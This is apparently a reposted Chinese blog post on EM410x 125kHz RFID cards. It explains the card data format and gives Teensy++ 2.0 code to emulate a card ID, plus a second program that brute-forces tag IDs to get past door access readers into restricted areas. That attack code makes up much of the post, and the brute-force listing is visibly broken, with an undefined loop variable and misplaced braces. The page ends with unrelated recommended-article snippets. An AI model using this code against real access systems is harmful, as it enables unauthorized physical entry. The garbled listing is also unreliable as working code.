前些天Open入手了Teensy++2.0模拟EM410X,并且针对EM410X的门禁进行了一次暴力破解测试,以下就是相关代码以及内容。

什么是低频?什么是EM410x?

首先,我不得不再次提一下那些工作在125khz频率下的低频卡(如:EM410X之类的),以便大家更好的阅读以下的内容。

什么是低频?以下就是低频的解释:

低频(LF, Low frequency)是指频带由30KHz到300KHz的无线电电波。一些无线电频率识别( RFID技术 )标签使用 低频。 这些标签通常被称为 LFID’s或LowFID’s(低频率识别Low Frequency Identification)。

然而LFID’s/LowFID’s所常用(非唯一)的频率为125kHz/134kHz,125kHz/134kHz只是低频RFID所基于的频 率,该频率不存在任何功能性,就是频率本身不存在所谓的ID识别、读取写入等,而常用的低频卡有HID、T55xx、EM410x等系列,这些系列的低频 卡都是大家在生活当中常常会使用到会碰到的。而这一次我们说的就是基于125kHz下的EM410x系列用于门禁ID识别之用。

以下就是EM410x的格式:

1 1 1 1 1 1 1 1 1                                          9bits头

8 bits版本或厂商ID

D00 D01 D02 D03 P0

D10 D11 D12 D13 P1

D20 D21 D22 D23 P2

D30 D31 D32 D33 P3

D40 D41 D42 D43 P4      10bits行检验

D50 D51 D52 D53 P5

32bits数据                           D60 D61 D62 D63 P6

D70 D71 D72 D73 P7

D80 D81 D82 D83 P8

D90 D91 D92 D93 P9

PC0 PC1 PC2 PC3 S0

4位列校验

这64位数据里面连续9个1作为数据开头,而D00-D93就是用户数据,P0-P9是行偶校验位,PC0-PC3是列偶校验位,S0为数据结束位。

简单通俗的科谱一下什么是偶校验,就是数据1的个数是奇数还是偶数

例如:0×01的二进制是0001这个数据中1的个数为奇数,如果偶校验的话就应该是 00011让1的个数为偶数,要是数据是1110 那偶校验当然就是11101,相反要是奇校验就是11100。

以下实际例子说明EM410x格式:

如果我有一张EM410x卡,而卡上所印刷的ID会是:

0005206306

如果利用Proxmark3或低频读卡器进行读取的话,你将会看到ID会多出两位数值,而这个数值有可能就是8bit的版本、厂商或用户标识。如果我们利用Proxmark3读取出来ID是:

0×0600503472

相对应的0×00503472=5206306,而0×06就是标识,而它的格式将会是怎么样的呢?看看以下分析:

首先是数据头:

111111111

卡号数据与行偶校验位

0 = 0000 0

6 = 0110 0

0 = 0000 0

0 = 0000 0

5 = 0101 0

0 = 0000 0

3 = 0011 0

4 = 0100 1

7 = 0111 1

2 = 0010 1

                      p = 0001 (列偶校验位)

0 结束

由上面的数据因此我们将会得到以下的数值:

111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010

这就是EM410x的格式,如果还有什么不明白的话,请自行使用Google等搜索引擎进行信息搜索,接下来就是谈谈如何利用Teensy模拟EM410x Tag

硬件元件清单:

1. 基于125kHz的低频线圈

2. 电容

3. 三极管 2N3904

4. 电阻 10K

5. Teensy++2.0这个小玩意写入以下代码,当然你也可以用Arduino开发板。

//Teensy++ 2.0模拟EM410x代码如下:

String sStart = “1111111110000000000″;

String sStop = “0″;

int data_to_spoof[64];

int coil_pin = 9;

int a,b,c,d;

unsigned long id;

char HexCode[8];

void setup()

{

// Serial.begin(9600);

pinMode(coil_pin, OUTPUT);

digitalWrite(coil_pin, LOW);

id = 0×503472;

a=0;b=0;c=0;d=0;

sprintf(HexCode,”%04X%04X”,id);

String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;

// Serial.println(s);

toCode(s);

}

void set_pin_manchester(int clock_half, int signal)

{

int man_encoded = clock_half ^ signal;

if(man_encoded == 1)

{

digitalWrite(coil_pin, HIGH);

}

else

{

digitalWrite(coil_pin, LOW);

}

}

String Em4xCode(String code)

{

if (code == ’1′) {d+=1;return “00011″;}

if (code == ’2′) {c+=1;return “00101″;}

if (code == ’3′) {c+=1;d+=1;return “00110″;}

if (code == ’4′) {b+=1;return “01001″;}

if (code == ’5′) {b+=1;d+=1;return “01010″;}

if (code == ’6′) {b+=1;c+=1;return “01100″;}

if (code == ’7′) {b+=1;c+=1;d+=1;return “01111″;}

if (code == ’8′) {a+=1;return “10001″;}

if (code == ’9′) {a+=1;d+=1;return “10010″;}

if (code == ‘A’) {a+=1;c+=1;return “10100″;}

if (code == ‘B’) {a+=1;c+=1;d+=1;return “10111″;}

if (code == ‘C’) {a+=1;b+=1;return “11000″;}

if (code == ‘D’) {a+=1;b+=1;d+=1;return “11011″;}

if (code == ‘E’) {a+=1;b+=1;c+=1;return “11101″;}

if (code == ‘F’) {a+=1;b+=1;c+=1;d+=1;return “11110″;}

return “00000″;

}

String EvenParity(int Parity)

{

if ((Parity % 2) == 1) return “1″;

return “0″;

}

void toCode(String s)

{

for(int i = 0; i < 64; i++)

{

if (s[i]==’0′){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}

}

}

void loop()

{

for(int i = 0; i < 64; i++)

{

set_pin_manchester(0, data_to_spoof[i]);

delayMicroseconds(256);

set_pin_manchester(1, data_to_spoof[i]);

delayMicroseconds(256);

}

}

在这里要提出的是,有可能你不理解为什么这么发送,因为它的编码为是:曼彻斯特码,所以我在这也通俗的说一下吧。

例如要发送64位数据:

111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010

那用多少时间传送1位呢?答案是64,125khz等于512us也就是说512us转送1位,但曼彻斯特码是用2位来表示的,如果数据是1的话, 曼彻斯特码为10,数据为0的话,曼彻斯特码为01。所以转送时512us转一位数据换算为曼彻斯特码转输就应该是 512us/2=256us传送一个,然而程序是把64位数据换算成曼彻斯特码发送,所以发送间隔为delayMicroseconds(256);

当我们利用Teensy进行相关的模拟操作的时候,发现实际上只要我们做相关穷举测试,或者我们可以更加快速的突破门禁系统的限制进入到受限区域,在测试的环境当中,因为读卡器并没有任何延时读取出现,所以我们可以极快的速度穷举相关的TagID,但因每种门禁都有自身的设置以及环境因素,我们不确定以下的穷举代码是否适合大家,故此我们只是以提出可行性猜想来写本文。

以下是暴力穷举测试程序代码:

String sStart = “1111111110000000000″;

String sStop = “0″;

int data_to_spoof[64];

int led = 6;

int coil_pin = 9;

int a,b,c,d;

unsigned long id;

char HexCode[8];

void setup()

{

// Serial.begin(9600);

pinMode(led, OUTPUT);

pinMode(coil_pin, OUTPUT);

digitalWrite(coil_pin, LOW);

id = 0x502E96;

}

void set_pin_manchester(int clock_half, int signal)

{

int man_encoded = clock_half ^ signal;

if(man_encoded == 1)

{

digitalWrite(coil_pin, HIGH);

}

else

{

digitalWrite(coil_pin, LOW);

}

}

String Em4xCode(String code)

{

if (code == ’1′) {d+=1;return “00011″;}

if (code == ’2′) {c+=1;return “00101″;}

if (code == ’3′) {c+=1;d+=1;return “00110″;}

if (code == ’4′) {b+=1;return “01001″;}

if (code == ’5′) {b+=1;d+=1;return “01010″;}

if (code == ’6′) {b+=1;c+=1;return “01100″;}

if (code == ’7′) {b+=1;c+=1;d+=1;return “01111″;}

if (code == ’8′) {a+=1;return “10001″;}

if (code == ’9′) {a+=1;d+=1;return “10010″;}

if (code == ‘A’) {a+=1;c+=1;return “10100″;}

if (code == ‘B’) {a+=1;c+=1;d+=1;return “10111″;}

if (code == ‘C’) {a+=1;b+=1;return “11000″;}

if (code == ‘D’) {a+=1;b+=1;d+=1;return “11011″;}

if (code == ‘E’) {a+=1;b+=1;c+=1;return “11101″;}

if (code == ‘F’) {a+=1;b+=1;c+=1;d+=1;return “11110″;}

return “00000″;

}

String EvenParity(int Parity)

{

if ((Parity % 2) == 1) return “1″;

return “0″;

}

void toCode(String s)

{

for(int i = 0; i < 64; i++)

{

if (s[i]==’0′){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}

}

}

void loop()

{

a=0;b=0;c=0;d=0;

sprintf(HexCode,”%04X%04X”,id);

String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;

// Serial.println(s);

toCode(s);

for(int ii = 0; ii < 2; ii++)

{

set_pin_manchester(0, data_to_spoof[i]);

delayMicroseconds(265);

set_pin_manchester(1, data_to_spoof[i]);

delayMicroseconds(265);

}

}

if (id == 0x50308A){digitalWrite(led, HIGH);}

id += 1;

if (id > 0xFFFFFFFF ){id=0;}

}

利用Teensy进行EM410x卡模拟以及暴力破解EM410X类门禁系统可行性猜想的更多相关文章

  1. 利用Teensy进行em410x卡模拟以及暴力破解em410x类门禁系统

    什么是低频?什么是EM410x? 首先,我不得不再次提一下那些工作在125khz频率下的低频卡(如:EM410X之类的),以便大家更好的阅读以下的内容. 什么是低频?以下就是低频的解释: 低频(LF, ...

  2. 忘记秘密利用python模拟登录暴力破解秘密

    忘记秘密利用python模拟登录暴力破解秘密: #encoding=utf-8 import itertools import string import requests def gen_pwd_f ...

  3. [转帖]利用hydra(九头蛇)暴力破解内网windows登录密码

    利用hydra(九头蛇)暴力破解内网windows登录密码 https://blog.csdn.net/weixin_37361758/article/details/77939070 尝试了下 能够 ...

  4. 安全性测试入门:DVWA系列研究(一):Brute Force暴力破解攻击和防御

    写在篇头: 随着国内的互联网产业日臻成熟,软件质量的要求越来越高,对测试团队和测试工程师提出了种种新的挑战. 传统的行业现象是90%的测试工程师被堆积在基本的功能.系统.黑盒测试,但是随着软件测试整体 ...

  5. 使用 fail2ban 防御 SSH 服务器的暴力破解攻击

    对于SSH服务的常见的攻击就是暴力破解攻击——远程攻击者通过不同的密码来无限次地进行登录尝试.当然SSH可以设置使用非密码验证验证方式来对抗这种攻击,例如公钥验证或者双重验证.将不同的验证方法的优劣处 ...

  6. 暴力破解FTP服务器技术探讨与防范措施

    暴力破解FTP服务器技术探讨与防范措施 随着Internet的发展出现了由于大量傻瓜化黑客工具任何一种黑客攻击手段的门槛都降低了很多但是暴力破解法的工具制作都已经非常容易大家通常会认为暴力破解攻击只是 ...

  7. Fail2ban 防止暴力破解centos服务器的SSH或者FTP账户

    次尝试登陆root账户失败的情况.[说明服务器被攻击了]   logtarget = SYSLOG  #我们需要做的就是把这行改成/var/log/fail2ban.log,方便用来记录日志信息 so ...

  8. 手机NFC模拟门禁卡

    楼主所在的某电子科技类大学,从宿舍楼到实验楼到图书馆办公楼,全部都有门禁,前两天突然在某安软件市场看到一个可以模拟门禁卡的软件,然而可能是我的手机系统太6了,竟然模拟不了,无奈自己动手,从根本上解决问 ...

  9. 防止WordPress利用xmlrpc.php进行暴力破解以及DDoS

    早在2012 年 12 月 17 日一些采用 PHP 的知名博客程序 WordPress被曝光存在严重的漏洞,该漏洞覆盖WordPress 全部已发布的版本(包括WordPress 3.8.1).该漏 ...

随机推荐

  1. sublime text 2 学习(一):快捷键

    初用sublime text 2,还不错,不装任何插件,能很好的编辑javascript,css,html,很赞.整理一下快捷键:常用的比如Ctrl+S就不列了:而且只列举Windows的. Ctrl ...

  2. 内置函数补充,__str__方法、__del__方法 和 __call__方法和元祖

    一 .内置函数补充 1.isinstance函数: isinstance(obj,cls)检查obj是否是类 cls 的对象 使用该函数来判断一个函数的类型 2. issubclass(sub, su ...

  3. jenkins===当postman出现错误403 No valid crumb was included in the request的解决办法

    问题描述:当使用postman获取jenkins的json数据的时候,会返回标题中描述的错误 如下图: 将圈中的框,取消勾选! 再次运行正常! 这时候修改jenkins如下:

  4. [ Python - 12 ] 线程的信号量、标志位及队列

    线程的信号量 线程的信号量是同时允许一定数量的线程更改数据,主要作用在于限制线程的并发. #!_*_coding:utf-8_*_ # Author: hkey import threading, t ...

  5. 《Java编程思想》笔记 第十八章 Java I/O 系统

    1 File 类 File是一个  文件和目录路径名  的抽象表示,通过File可以查看文件的各种信息,也可以增加删除文件. File构造器接受一个路径字符串并把它与实际文件目录映射起来,也能接受父子 ...

  6. 《Java编程思想》笔记 第十三章 字符串

    1.String对象不可变 String对象不可变,只读.任何指向它的引用都不能改变它的内容.改变String内容意味着创建了一个新的String对象. String 对象作为方法参数时都会复制一份引 ...

  7. Selenium2+python自动化21-TXT数据参数化【转载】

    前言      在17篇我们讲了excel数据的参数化,有人问了txt数据的参数化该怎么办呢,下面小编为你带你txt数据参数化的讲解 一.以百度搜索为例,自动搜索五次不同的关键字.输入的数据不同从而引 ...

  8. let变量声明总结

    let命令有四大主要特性:存在块级作用域,没有变量提升,暂时性死区,不允许重复声明. 这都是和es5的var变量特性相反的. 1.存在块级作用域 let命令声明的变量只在其块级作用域中有效,就是{}中 ...

  9. cogs p服务点设置

    5. P服务点设置 ★★   输入文件:djsc.in   输出文件:djsc.out   简单对比时间限制:2 s   内存限制:128 MB 问题描述为了进一步普及九年义务教育,政府要在某乡镇建立 ...

  10. 51nod 最长单增子序列(动态规划)

    最长单增子序列 (LIS Longest Increasing Subsequence)给定一个数列,从中删掉任意若干项剩余的序列叫做它的一个子序列,求它的最长的子序列,满足子序列中的元素是单调递增的 ...